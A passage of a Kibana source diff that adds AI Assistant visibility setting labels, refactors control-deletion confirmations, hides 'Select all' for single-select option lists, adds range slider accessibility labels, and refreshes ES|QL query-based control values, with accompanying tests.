+1,49 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { i18n } from '@kbn/i18n'; + +export const TITLE = i18n.translate( + 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingName', + { + defaultMessage: 'AI Assistant visibility', + } +); + +export const ONLY_IN_THEIR_SOLUTIONS = i18n.translate( + 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueDefault', + { defaultMessage: 'Only in their solutions' } +); +export const OBSERVABILITY_IN_OTHER_APPS = i18n.translate( + 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueObservability', + { defaultMessage: 'Observability and Search AI Assistants in other apps' } +); +export const SECURITY_IN_OTHER_APPS = i18n.translate( + 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueSecurity', + { defaultMessage: 'Security AI Assistant in other apps' } +); +export const HIDE_ALL_ASSISTANTS = i18n.translate( + 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueNever', + { defaultMessage: 'Hide all assistants' } +); + +export const SHOW_SECURITY = i18n.translate( + 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueNever', + { defaultMessage: 'Show Security AI Assistant' } +); + +export const SHOW_OBSERVABILITY = i18n.translate( + 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueNever', + { defaultMessage: 'Show Observability AI Assistant' } +); + +export const HIDE_ASSISTANT = i18n.translate( + 'aiAssistantManagementSelection.preferredAIAssistantTypeSettingValueNever', + { defaultMessage: 'Hide AI Assistant' } +); diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/server/types.ts b/src/platform/plugins/shared/ai_assistant_management/selection/server/types.ts index 4667ad9ab4fbc..d581b8be26540 100644 --- a/src/platform/plugins/shared/ai_assistant_management/selection/server/types.ts +++ b/src/platform/plugins/shared/ai_assistant_management/selection/server/types.ts @@ -7,6 +7,7 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ +import { CloudSetup } from '@kbn/cloud-plugin/server'; import type { FeaturesPluginSetup } from '@kbn/features-plugin/server'; // eslint-disable-next-line @typescript-eslint/no-empty-interface @@ -14,6 +15,7 @@ export interface AIAssistantManagementSelectionPluginServerDependenciesStart {} export interface AIAssistantManagementSelectionPluginServerDependenciesSetup { features?: FeaturesPluginSetup; + cloud?: CloudSetup; } // eslint-disable-next-line @typescript-eslint/no-empty-interface diff --git a/src/platform/plugins/shared/ai_assistant_management/selection/tsconfig.json b/src/platform/plugins/shared/ai_assistant_management/selection/tsconfig.json index 0fc6cec454817..7d7827387699d 100644 --- a/src/platform/plugins/shared/ai_assistant_management/selection/tsconfig.json +++ b/src/platform/plugins/shared/ai_assistant_management/selection/tsconfig.json @@ -18,7 +18,9 @@ "@kbn/core-plugins-server", "@kbn/features-plugin", "@kbn/config", - "@kbn/doc-links" + "@kbn/doc-links", + "@kbn/core-ui-settings-common", + "@kbn/cloud-plugin" ], "exclude": ["target/**/*"] } diff --git a/src/platform/plugins/shared/console/server/lib/spec_definitions/js/mappings.ts b/src/platform/plugins/shared/console/server/lib/spec_definitions/js/mappings.ts index 83f9a610e689c..35e2a5d41f97a 100644 --- a/src/platform/plugins/shared/console/server/lib/spec_definitions/js/mappings.ts +++ b/src/platform/plugins/shared/console/server/lib/spec_definitions/js/mappings.ts @@ -109,15 +109,12 @@ export const mappings = (specService: SpecDefinitionsService) => { 'freqs', 'positions', 'offsets', - // dense_vector type + // semantic_text type { - type: { - __one_of: ['int8_hnsw', 'hnsw', 'int4_hnsw', 'flat', 'int8_flat', 'int4_flat'], - }, - m: 16, - ef_construction: 100, - confidence_interval: 0, + dense_vector: DenseVectorIndexOptions, }, + // dense_vector type + DenseVectorIndexOptions, ], }, analyzer: 'standard', @@ -289,3 +286,21 @@ export const mappings = (specService: SpecDefinitionsService) => { }, }); }; + +const DenseVectorIndexOptions = { + type: { + __one_of: [ + 'bbq_hnsw', + 'bbq_flat', + 'int8_hnsw', + 'hnsw', + 'int4_hnsw', + 'flat', + 'int8_flat', + 'int4_flat', + ], + }, + m: 16, + ef_construction: 100, + confidence_interval: 0, +}; diff --git a/src/platform/plugins/shared/console/server/lib/spec_definitions/js/retriever.ts b/src/platform/plugins/shared/console/server/lib/spec_definitions/js/retriever.ts index a207b20e27acc..06e9177996dd5 100644 --- a/src/platform/plugins/shared/console/server/lib/spec_definitions/js/retriever.ts +++ b/src/platform/plugins/shared/console/server/lib/spec_definitions/js/retriever.ts @@ -52,6 +52,9 @@ export const retriever = (specService: SpecDefinitionsService) => { }, ], }, + query: '', + fields: [], + normalizer: { __one_of: ['minmax', 'l2_norm', 'none'] }, }, rescorer: { __template: { @@ -91,6 +94,8 @@ export const retriever = (specService: SpecDefinitionsService) => { }, rank_constant: 60, rank_window_size: 100, + query: '', + fields: [], }, rule: { __template: { diff --git a/src/platform/plugins/shared/controls/public/actions/delete_control_action.tsx b/src/platform/plugins/shared/controls/public/actions/delete_control_action.tsx index 5ef40e7443b63..86f10fd9d4ba5 100644 --- a/src/platform/plugins/shared/controls/public/actions/delete_control_action.tsx +++ b/src/platform/plugins/shared/controls/public/actions/delete_control_action.tsx @@ -29,7 +29,7 @@ import { IncompatibleActionError, type Action } from '@kbn/ui-actions-plugin/pub import { PresentationContainer, apiIsPresentationContainer } from '@kbn/presentation-containers'; import { CONTROL_GROUP_TYPE } from '../../common'; import { ACTION_DELETE_CONTROL } from './constants'; -import { coreServices } from '../services/kibana_services'; +import { confirmDeleteControl } from '../common'; type DeleteControlActionApi = HasType & HasUniqueId & @@ -83,28 +83,10 @@ export class DeleteControlAction implements Action { public async execute({ embeddable }: EmbeddableApiContext) { if (!compatibilityCheck(embeddable)) throw new IncompatibleActionError(); - coreServices.overlays - .openConfirm( - i18n.translate('controls.controlGroup.management.delete.sub', { - defaultMessage: 'Controls are not recoverable once removed.', - }), - { - confirmButtonText: i18n.translate('controls.controlGroup.management.delete.confirm', { - defaultMessage: 'Delete', - }), - cancelButtonText: i18n.translate('controls.controlGroup.management.delete.cancel', { - defaultMessage: 'Cancel', - }), - title: i18n.translate('controls.controlGroup.management.delete.deleteTitle', { - defaultMessage: 'Delete control?', - }), - buttonColor: 'danger', - } - ) - .then((confirmed) => { - if (confirmed) { - embeddable.parentApi.removePanel(embeddable.uuid); - } - }); + confirmDeleteControl().then((confirmed) => { + if (confirmed) { + embeddable.parentApi.removePanel(embeddable.uuid); + } + }); } } diff --git a/src/platform/plugins/shared/controls/public/common/confirm_delete_control.ts b/src/platform/plugins/shared/controls/public/common/confirm_delete_control.ts new file mode 100644 index 0000000000000..c2a9220684810 --- /dev/null +++ b/src/platform/plugins/shared/controls/public/common/confirm_delete_control.ts @@ -0,0 +1,37 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { i18n } from '@kbn/i18n'; +import { coreServices } from '../services/kibana_services'; + +const openConfirmDeleteModal = (all: boolean) => + coreServices.overlays.openConfirm( + i18n.translate('controls.controlGroup.management.delete.sub', { + defaultMessage: 'Controls are not recoverable once removed.', + }), + { + confirmButtonText: i18n.translate('controls.controlGroup.management.delete.confirm', { + defaultMessage: 'Delete', + }), + cancelButtonText: i18n.translate('controls.controlGroup.management.delete.cancel', { + defaultMessage: 'Cancel', + }), + title: all + ? i18n.translate('controls.controlGroup.management.delete.deleteAllTitle', { + defaultMessage: 'Delete all controls?', + }) + : i18n.translate('controls.controlGroup.management.delete.deleteTitle', { + defaultMessage: 'Delete control?', + }), + buttonColor: 'danger', + } + ); + +export const confirmDeleteControl = () => openConfirmDeleteModal(false); +export const confirmDeleteAllControls = () => openConfirmDeleteModal(true); diff --git a/src/platform/plugins/shared/data/server/deprecations/index.ts b/src/platform/plugins/shared/controls/public/common/index.ts similarity index 86% rename from src/platform/plugins/shared/data/server/deprecations/index.ts rename to src/platform/plugins/shared/controls/public/common/index.ts index 4baf9c3e1e867..ca2fbcc25980b 100644 --- a/src/platform/plugins/shared/data/server/deprecations/index.ts +++ b/src/platform/plugins/shared/controls/public/common/index.ts @@ -7,4 +7,4 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -export { createSearchSessionsDeprecationsConfig } from './search_sessions'; +export { confirmDeleteControl } from './confirm_delete_control'; diff --git a/src/platform/plugins/shared/controls/public/control_group/components/control_panel.tsx b/src/platform/plugins/shared/controls/public/control_group/components/control_panel.tsx index 4da13c4866529..637f4ad1cf74e 100644 --- a/src/platform/plugins/shared/controls/public/control_group/components/control_panel.tsx +++ b/src/platform/plugins/shared/controls/public/control_group/components/control_panel.tsx @@ -98,6 +98,7 @@ export const ControlPanel = { - coreServices.overlays - .openConfirm( - i18n.translate('controls.controlGroup.management.delete.sub', { - defaultMessage: 'Controls are not recoverable once removed.', - }), - { - confirmButtonText: i18n.translate('controls.controlGroup.management.delete.confirm', { - defaultMessage: 'Delete', - }), - cancelButtonText: i18n.translate('controls.controlGroup.management.delete.cancel', { - defaultMessage: 'Cancel', - }), - title: i18n.translate('controls.controlGroup.management.delete.deleteAllTitle', { - defaultMessage: 'Delete all controls?', - }), - buttonColor: 'danger', - } - ) - .then((confirmed) => { - if (confirmed) - Object.keys(controlGroupApi.children$.getValue()).forEach((childId) => { - controlGroupApi.removePanel(childId); - }); - closeOverlay(ref); - }); + confirmDeleteAllControls().then((confirmed) => { + if (confirmed) + Object.keys(controlGroupApi.children$.getValue()).forEach((childId) => { + controlGroupApi.removePanel(childId); + }); + closeOverlay(ref); + }); }; const overlay = coreServices.overlays.openFlyout( diff --git a/src/platform/plugins/shared/controls/public/controls/data_controls/data_control_editor.tsx b/src/platform/plugins/shared/controls/public/controls/data_controls/data_control_editor.tsx index a84425f350dc1..87fb8c6bed8c5 100644 --- a/src/platform/plugins/shared/controls/public/controls/data_controls/data_control_editor.tsx +++ b/src/platform/plugins/shared/controls/public/controls/data_controls/data_control_editor.tsx @@ -58,6 +58,7 @@ import { type DataControlFieldRegistry, } from './types'; import { ControlFactory } from '../types'; +import { confirmDeleteControl } from '../../common'; export interface ControlEditorProps< State extends DefaultDataControlState = DefaultDataControlState @@ -156,7 +157,7 @@ const CompatibleControlTypesComponent = ({ content={DataControlEditorStrings.manageControl.dataSource.getControlTypeErrorMessage( { fieldSelected: Boolean(selectedFieldName), - controlType: factory.getDisplayName(), + controlType: factory.type, } )} > @@ -414,23 +415,6 @@ export const DataControlEditor = )} {!editorConfig?.hideAdditionalSettings && CustomSettingsComponent} - {controlId && ( - <> - - { - onCancel(initialState); // don't want to show "lost changes" warning - controlGroupApi.removePanel(controlId!); - }} - > - {DataControlEditorStrings.manageControl.getDeleteButtonTitle()} - - - )} @@ -447,25 +431,44 @@ export const DataControlEditor = - { - onSave(editorState, selectedControlType!); - }} - > - {DataControlEditorStrings.manageControl.getSaveChangesTitle()} - + + {controlId && ( + { + confirmDeleteControl().then((confirmed) => { + if (confirmed) { + onCancel(initialState); // don't want to show "lost changes" warning + controlGroupApi.removePanel(controlId!); + } + }); + }} + > + {DataControlEditorStrings.manageControl.getDeleteButtonTitle()} + + )} + { + onSave(editorState, selectedControlType!); + }} + > + {DataControlEditorStrings.manageControl.getSaveChangesTitle()} + +
diff --git a/src/platform/plugins/shared/controls/public/controls/data_controls/options_list_control/components/options_list_popover_action_bar.test.tsx b/src/platform/plugins/shared/controls/public/controls/data_controls/options_list_control/components/options_list_popover_action_bar.test.tsx index c98783029c7f5..e642a446f7681 100644 --- a/src/platform/plugins/shared/controls/public/controls/data_controls/options_list_control/components/options_list_popover_action_bar.test.tsx +++ b/src/platform/plugins/shared/controls/public/controls/data_controls/options_list_control/components/options_list_popover_action_bar.test.tsx @@ -56,7 +56,7 @@ const renderComponent = ({ ); }; -const getSelectAllCheckbox = () => screen.getByRole('checkbox', { name: /Select all/i }); +const getSelectAllCheckbox = () => screen.queryByRole('checkbox', { name: /Select all/i }); const getSearchInput = () => screen.getByRole('searchbox', { name: /Filter suggestions/i }); @@ -93,6 +93,16 @@ describe('Options list popover', () => { expect(getSelectAllCheckbox()).not.toBeChecked(); }); + test('hides "Select all" checkbox if the control only allows single selections', async () => { + const contextMock = getOptionsListContextMock(); + contextMock.componentApi.setTotalCardinality(80); + contextMock.componentApi.setAvailableOptions(take(allOptions, 10)); + contextMock.componentApi.setSingleSelect(true); + renderComponent(contextMock); + + expect(getSelectAllCheckbox()).not.toBeInTheDocument(); + }); + test('Select all is checked when all available options are selected ', async () => { const contextMock = getOptionsListContextMock(); contextMock.componentApi.setTotalCardinality(80); diff --git a/src/platform/plugins/shared/controls/public/controls/data_controls/options_list_control/components/options_list_popover_action_bar.tsx b/src/platform/plugins/shared/controls/public/controls/data_controls/options_list_control/components/options_list_popover_action_bar.tsx index c81113e9749e7..0a248def56e13 100644 --- a/src/platform/plugins/shared/controls/public/controls/data_controls/options_list_control/components/options_list_popover_action_bar.tsx +++ b/src/platform/plugins/shared/controls/public/controls/data_controls/options_list_control/components/options_list_popover_action_bar.tsx @@ -88,6 +88,7 @@ export const OptionsListPopoverActionBar = ({ allowExpensiveQueries, availableOptions = [], dataLoading, + singleSelect, ] = useBatchedPublishingSubjects( componentApi.searchTechnique$, componentApi.searchStringValid$, @@ -97,7 +98,8 @@ export const OptionsListPopoverActionBar = ({ componentApi.fieldName$, componentApi.parentApi.allowExpensiveQueries$, componentApi.availableOptions$, - componentApi.dataLoading$ + componentApi.dataLoading$, + componentApi.singleSelect$ ); const compatibleSearchTechniques = useMemo(() => { @@ -188,38 +190,40 @@ export const OptionsListPopoverActionBar = ({ )} - - - 0 && !areAllSelected} - disabled={isBulkSelectDisabled} - data-test-subj="optionsList-control-selectAll" - onChange={() => { - if (areAllSelected) { - handleBulkAction(componentApi.deselectAll); - setAllSelected(false); - } else { - handleBulkAction(componentApi.selectAll); - setAllSelected(true); - } - }} - css={styles.selectAllCheckbox} - label={ - - {OptionsListStrings.popover.getSelectAllButtonLabel()} - + {!singleSelect && ( + + - - + > + 0 && !areAllSelected} + disabled={isBulkSelectDisabled} + data-test-subj="optionsList-control-selectAll" + onChange={() => { + if (areAllSelected) { + handleBulkAction(componentApi.deselectAll); + setAllSelected(false); + } else { + handleBulkAction(componentApi.selectAll); + setAllSelected(true); + } + }} + css={styles.selectAllCheckbox} + label={ + + {OptionsListStrings.popover.getSelectAllButtonLabel()} + + } + /> + + + )} (undefined); const loadMoreSubject = new Subject(); const fetchSubscription = fetchAndValidate$({ api: { @@ -169,13 +170,13 @@ export const getOptionsListControlFactory = (): DataControlFactory< sort$, controlFetch$: (onReload: () => void) => controlGroupApi.controlFetch$(uuid, onReload), }).subscribe((result) => { - // if there was an error during fetch, set blocking error and return early + // if there was an error during fetch, set suggestion load error and return early if (Object.hasOwn(result, 'error')) { - dataControlManager.api.setBlockingError((result as { error: Error }).error); + suggestionLoadError$.next((result as { error: Error }).error); return; - } else if (dataControlManager.api.blockingError$.getValue()) { + } else if (suggestionLoadError$.getValue()) { // otherwise, if there was a previous error, clear it - dataControlManager.api.setBlockingError(undefined); + suggestionLoadError$.next(undefined); } // fetch was successful so set all attributes from result @@ -305,9 +306,22 @@ export const getOptionsListControlFactory = (): DataControlFactory< }, }); + const blockingError$ = new BehaviorSubject(undefined); + const errorsSubscription = combineLatest([ + dataControlManager.api.blockingError$, + suggestionLoadError$, + ]) + .pipe( + map(([controlError, suggestionError]) => { + return controlError ?? suggestionError; + }) + ) + .subscribe((error) => blockingError$.next(error)); + const api = finalizeApi({ ...unsavedChangesApi, ...dataControlManager.api, + blockingError$, dataLoading$: temporaryStateManager.api.dataLoading$, getTypeDisplayName: OptionsListStrings.control.getDisplayName, serializeState, @@ -446,6 +460,7 @@ export const getOptionsListControlFactory = (): DataControlFactory< validSearchStringSubscription.unsubscribe(); hasSelectionsSubscription.unsubscribe(); selectionsSubscription.unsubscribe(); + errorsSubscription.unsubscribe(); }; }, []); diff --git a/src/platform/plugins/shared/controls/public/controls/data_controls/range_slider/components/range_slider_control.tsx b/src/platform/plugins/shared/controls/public/controls/data_controls/range_slider/components/range_slider_control.tsx index cf072c938ef06..beceb161df290 100644 --- a/src/platform/plugins/shared/controls/public/controls/data_controls/range_slider/components/range_slider_control.tsx +++ b/src/platform/plugins/shared/controls/public/controls/data_controls/range_slider/components/range_slider_control.tsx @@ -23,31 +23,33 @@ import { RangeSliderStrings } from '../range_slider_strings'; import { rangeSliderControlStyles } from './range_slider.styles'; interface Props { - fieldFormatter?: (value: string) => string; + compressed: boolean; + controlPanelClassName?: string; isInvalid: boolean; isLoading: boolean; + fieldName: string; max: number | undefined; min: number | undefined; - onChange: (value: RangeValue | undefined) => void; step: number; - value: RangeValue | undefined; uuid: string; - controlPanelClassName?: string; - compressed: boolean; + value: RangeValue | undefined; + fieldFormatter?: (value: string) => string; + onChange: (value: RangeValue | undefined) => void; } export const RangeSliderControl: FC = ({ - fieldFormatter, + compressed, + controlPanelClassName, isInvalid, isLoading, + fieldName, max, min, - onChange, step, - value, uuid, - controlPanelClassName, - compressed, + value, + fieldFormatter, + onChange, }: Props) => { const rangeSliderRef = useRef(null); @@ -141,10 +143,14 @@ export const RangeSliderControl: FC = ({ inputValue, testSubj, placeholder, + ariaLabel, + id, }: { inputValue: string; testSubj: string; placeholder: string; + ariaLabel: string; + id: string; }) => { return { isInvalid: undefined, // disabling this prop to handle our own validation styling @@ -155,9 +161,12 @@ export const RangeSliderControl: FC = ({ isInvalid ? styles.fieldNumbers.invalid : styles.fieldNumbers.valid, ], className: 'rangeSliderAnchor__fieldNumber', - 'data-test-subj': `rangeSlider__${testSubj}`, value: inputValue === placeholder ? '' : inputValue, title: !isInvalid && step ? '' : undefined, // overwrites native number input validation error when the value falls between two steps + 'data-test-subj': `rangeSlider__${testSubj}`, + 'aria-label': ariaLabel, + 'aria-labelledby': `control-title-${id}`, + id: `controls-range-slider-${id}`, }; }, [isInvalid, step, styles] @@ -168,16 +177,20 @@ export const RangeSliderControl: FC = ({ inputValue: displayedValue[0], testSubj: 'lowerBoundFieldNumber', placeholder: String(min ?? -Infinity), + ariaLabel: RangeSliderStrings.control.getLowerBoundAriaLabel(fieldName), + id: uuid, }); - }, [getCommonInputProps, min, displayedValue]); + }, [getCommonInputProps, displayedValue, min, fieldName, uuid]); const maxInputProps = useMemo(() => { return getCommonInputProps({ inputValue: displayedValue[1], testSubj: 'upperBoundFieldNumber', placeholder: String(max ?? Infinity), + ariaLabel: RangeSliderStrings.control.getUpperBoundAriaLabel(fieldName), + id: uuid, }); - }, [getCommonInputProps, max, displayedValue]); + }, [getCommonInputProps, displayedValue, max, fieldName, uuid]); return ( { - const [dataLoading, fieldFormatter, max, min, selectionHasNoResults, step, value] = - useBatchedPublishingSubjects( - dataLoading$, - dataControlManager.api.fieldFormatter, - max$, - min$, - selectionHasNoResults$, - step$, - selections.value$ - ); + const [ + dataLoading, + fieldFormatter, + max, + min, + selectionHasNoResults, + step, + value, + fieldName, + ] = useBatchedPublishingSubjects( + dataLoading$, + dataControlManager.api.fieldFormatter, + max$, + min$, + selectionHasNoResults$, + step$, + selections.value$, + dataControlManager.api.fieldName$ + ); useEffect(() => { return () => { @@ -260,6 +269,7 @@ export const getRangesliderControlFactory = (): DataControlFactory< return ( + i18n.translate('controls.rangeSlider.control.lowerBoundAriaLabel', { + defaultMessage: 'Range slider lower bound for {fieldName}', + values: { fieldName }, + }), + getUpperBoundAriaLabel: (fieldName: string) => + i18n.translate('controls.rangeSlider.control.lowerBoundAriaLabel', { + defaultMessage: 'Range slider upper bound for {fieldName}', + values: { fieldName }, + }), }, editor: { getStepTitle: () => diff --git a/src/platform/plugins/shared/controls/public/controls/esql_control/esql_control_selections.ts b/src/platform/plugins/shared/controls/public/controls/esql_control/esql_control_selections.ts index 7e77d47316b9f..7f9ad50bd4227 100644 --- a/src/platform/plugins/shared/controls/public/controls/esql_control/esql_control_selections.ts +++ b/src/platform/plugins/shared/controls/public/controls/esql_control/esql_control_selections.ts @@ -7,10 +7,17 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ import deepEqual from 'react-fast-compare'; -import { BehaviorSubject, combineLatest, map, merge } from 'rxjs'; -import type { ESQLControlVariable, ESQLControlState, EsqlControlType } from '@kbn/esql-types'; -import { ESQLVariableType } from '@kbn/esql-types'; +import { BehaviorSubject, combineLatest, filter, map, merge, switchMap } from 'rxjs'; +import { + ESQLControlVariable, + ESQLControlState, + EsqlControlType, + ESQLVariableType, +} from '@kbn/esql-types'; import { PublishingSubject, StateComparators } from '@kbn/presentation-publishing'; +import { dataService } from '../../services/kibana_services'; +import { ControlGroupApi } from '../../control_group/types'; +import { getESQLSingleColumnValues } from './utils/get_esql_single_column_values'; function selectedOptionsComparatorFunction(a?: string[], b?: string[]) { return deepEqual(a ?? [], b ?? []); @@ -37,7 +44,10 @@ export const selectionComparators: StateComparators< title: 'referenceEquality', }; -export function initializeESQLControlSelections(initialState: ESQLControlState) { +export function initializeESQLControlSelections( + initialState: ESQLControlState, + controlFetch$: ReturnType +) { const availableOptions$ = new BehaviorSubject(initialState.availableOptions ?? []); const selectedOptions$ = new BehaviorSubject(initialState.selectedOptions ?? []); const hasSelections$ = new BehaviorSubject(false); // hardcoded to false to prevent clear action from appearing. @@ -55,6 +65,25 @@ export function initializeESQLControlSelections(initialState: ESQLControlState) } } + // For Values From Query controls, update values on dashboard load/reload + const fetchSubscription = controlFetch$ + .pipe( + filter(() => controlType$.getValue() === EsqlControlType.VALUES_FROM_QUERY), + switchMap( + async ({ timeRange }) => + await getESQLSingleColumnValues({ + query: esqlQuery$.getValue(), + search: dataService.search.search, + timeRange, + }) + ) + ) + .subscribe((result) => { + if (getESQLSingleColumnValues.isSuccess(result)) { + availableOptions$.next(result.values); + } + }); + // derive ESQL control variable from state. const getEsqlVariable = () => ({ key: variableName$.value, @@ -64,12 +93,18 @@ export function initializeESQLControlSelections(initialState: ESQLControlState) type: variableType$.value, }); const esqlVariable$ = new BehaviorSubject(getEsqlVariable()); - const subscriptions = combineLatest([variableName$, variableType$, selectedOptions$]).subscribe( - () => esqlVariable$.next(getEsqlVariable()) - ); + const variableSubscriptions = combineLatest([ + variableName$, + variableType$, + selectedOptions$, + availableOptions$, + ]).subscribe(() => esqlVariable$.next(getEsqlVariable())); return { - cleanup: () => subscriptions.unsubscribe(), + cleanup: () => { + variableSubscriptions.unsubscribe(); + fetchSubscription.unsubscribe(); + }, api: { hasSelections$: hasSelections$ as PublishingSubject, esqlVariable$: esqlVariable$ as PublishingSubject, diff --git a/src/platform/plugins/shared/controls/public/controls/esql_control/get_esql_control_factory.test.tsx b/src/platform/plugins/shared/controls/public/controls/esql_control/get_esql_control_factory.test.tsx index 7ade7272df903..f16ee46e68656 100644 --- a/src/platform/plugins/shared/controls/public/controls/esql_control/get_esql_control_factory.test.tsx +++ b/src/platform/plugins/shared/controls/public/controls/esql_control/get_esql_control_factory.test.tsx @@ -9,11 +9,28 @@ import React from 'react'; import { fireEvent, render, waitFor } from '@testing-library/react'; -import type { ESQLControlState } from '@kbn/esql-types'; +import { EsqlControlType, type ESQLControlState } from '@kbn/esql-types'; import { getMockedControlGroupApi, getMockedFinalizeApi } from '../mocks/control_mocks'; import { getESQLControlFactory } from './get_esql_control_factory'; +import { BehaviorSubject } from 'rxjs'; +import { ControlFetchContext } from '../../control_group/control_fetch'; + +const mockGetESQLSingleColumnValues = jest.fn(() => ({ options: ['option1', 'option2'] })); +const mockIsSuccess = jest.fn(() => true); + +jest.mock('./utils/get_esql_single_column_values', () => { + const getESQLSingleColumnValues = () => mockGetESQLSingleColumnValues(); + getESQLSingleColumnValues.isSuccess = () => mockIsSuccess(); + return { + getESQLSingleColumnValues, + }; +}); describe('ESQLControlApi', () => { + beforeEach(() => { + jest.resetAllMocks(); + }); + const uuid = 'myESQLControl'; const dashboardApi = {}; @@ -21,7 +38,7 @@ describe('ESQLControlApi', () => { const factory = getESQLControlFactory(); const finalizeApi = getMockedFinalizeApi(uuid, factory, controlGroupApi); - test('Should publish ES|QL variable', async () => { + test('should publish ES|QL variable', async () => { const initialState = { selectedOptions: ['option1'], availableOptions: ['option1', 'option2'], @@ -43,7 +60,7 @@ describe('ESQLControlApi', () => { }); }); - test('Should serialize state', async () => { + test('should serialize state', async () => { const initialState = { selectedOptions: ['option1'], availableOptions: ['option1', 'option2'], @@ -74,37 +91,70 @@ describe('ESQLControlApi', () => { }); }); - test('changing the dropdown should publish new ES|QL variable', async () => { - const initialState = { - selectedOptions: ['option1'], - availableOptions: ['option1', 'option2'], - variableName: 'variable1', - variableType: 'values', - esqlQuery: 'FROM foo | WHERE column = ?variable1', - controlType: 'STATIC_VALUES', - } as ESQLControlState; - const { Component, api } = await factory.buildControl({ - initialState, - finalizeApi, - uuid, - controlGroupApi, - }); - - expect(api.esqlVariable$.value).toStrictEqual({ - key: 'variable1', - type: 'values', - value: 'option1', + describe('values from query', () => { + test('should update on load and fetch', async () => { + const initialState = { + selectedOptions: ['option1'], + availableOptions: ['option1', 'option2'], + variableName: 'variable1', + variableType: 'values', + esqlQuery: 'FROM foo | STATS BY column', + controlType: EsqlControlType.VALUES_FROM_QUERY, + } as ESQLControlState; + await factory.buildControl({ + initialState, + finalizeApi, + uuid, + controlGroupApi, + }); + await waitFor(() => { + expect(mockGetESQLSingleColumnValues).toHaveBeenCalledTimes(1); + expect(mockIsSuccess).toHaveBeenCalledTimes(1); + }); + const controlFetch$ = controlGroupApi.controlFetch$( + uuid + ) as BehaviorSubject; + controlFetch$.next({}); + await waitFor(() => { + expect(mockGetESQLSingleColumnValues).toHaveBeenCalledTimes(2); + expect(mockIsSuccess).toHaveBeenCalledTimes(2); + }); }); + }); - const { findByTestId, findByTitle } = render(); - fireEvent.click(await findByTestId('comboBoxSearchInput')); - fireEvent.click(await findByTitle('option2')); + describe('changing the dropdown', () => { + test('should publish new ES|QL variable', async () => { + const initialState = { + selectedOptions: ['option1'], + availableOptions: ['option1', 'option2'], + variableName: 'variable1', + variableType: 'values', + esqlQuery: 'FROM foo | WHERE column = ?variable1', + controlType: 'STATIC_VALUES', + } as ESQLControlState; + const { Component, api } = await factory.buildControl({ + initialState, + finalizeApi, + uuid, + controlGroupApi, + }); - await waitFor(() => { expect(api.esqlVariable$.value).toStrictEqual({ key: 'variable1', type: 'values', - value: 'option2', + value: 'option1', + }); + + const { findByTestId, findByTitle } = render(); + fireEvent.click(await findByTestId('comboBoxSearchInput')); + fireEvent.click(await findByTitle('option2')); + + await waitFor(() => { + expect(api.esqlVariable$.value).toStrictEqual({ + key: 'variable1', + type: 'values', + value: 'option2', + }); }); }); }); diff --git a/src/platform/plugins/shared/controls/public/controls/esql_control/get_esql_control_factory.tsx b/src/platform/plugins/shared/controls/public/controls/esql_control/get_esql_control_factory.tsx index f38adf3cef6d7..8193e4e2bc745 100644 --- a/src/platform/plugins/shared/controls/public/controls/esql_control/get_esql_control_factory.tsx +++ b/src/platform/plugins/shared/controls/public/controls/esql_control/get_esql_control_factory.tsx @@ -37,7 +37,10 @@ export const getESQLControlFactory = (): ControlFactory displayName, buildControl: async ({ initialState, finalizeApi, uuid, controlGroupApi }) => { const defaultControlManager = initializeDefaultControlManager(initialState); - const selections = initializeESQLControlSelections(initialState); + const selections = initializeESQLControlSelections( + initialState, + controlGroupApi.controlFetch$(uuid) + ); const closeOverlay = () => { if (apiHasParentApi(controlGroupApi) && tracksOverlays(controlGroupApi.parentApi)) { diff --git a/src/platform/plugins/shared/controls/public/controls/esql_control/utils/get_esql_single_column_values.test.ts b/src/platform/plugins/shared/controls/public/controls/esql_control/utils/get_esql_single_column_values.test.ts new file mode 100644 index 0000000000000..430a75fa1a5e1 --- /dev/null +++ b/src/platform/plugins/shared/controls/public/controls/esql_control/utils/get_esql_single_column_values.test.ts @@ -0,0 +1,99 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ +import { ISearchGeneric } from '@kbn/search-types'; +import { + getESQLSingleColumnValues, + GetESQLSingleColumnValuesSuccess, + GetESQLSingleColumnValuesFailure, +} from './get_esql_single_column_values'; + +const mockGetESQLResults = jest.fn(); +jest.mock('@kbn/esql-utils', () => ({ + getESQLResults: (...args: any[]) => mockGetESQLResults(...args), +})); + +const searchMock = {} as ISearchGeneric; + +describe('getESQLSingleColumnValues', () => { + beforeEach(() => { + jest.resetAllMocks(); + }); + it('returns only options on success', async () => { + mockGetESQLResults.mockResolvedValueOnce({ + response: { + columns: [{ name: 'column1' }], + values: [['option1'], ['option2']], + }, + }); + const result = (await getESQLSingleColumnValues({ + query: 'FROM index | STATS BY column', + search: searchMock, + })) as GetESQLSingleColumnValuesSuccess; + expect(getESQLSingleColumnValues.isSuccess(result)).toBe(true); + expect(result).toMatchInlineSnapshot(` + Object { + "values": Array [ + "option1", + "option2", + ], + } + `); + }); + it('returns an error when query returns multiple columns', async () => { + mockGetESQLResults.mockResolvedValueOnce({ + response: { + columns: [{ name: 'column1' }, { name: 'column2' }], + values: [['option1'], ['option2']], 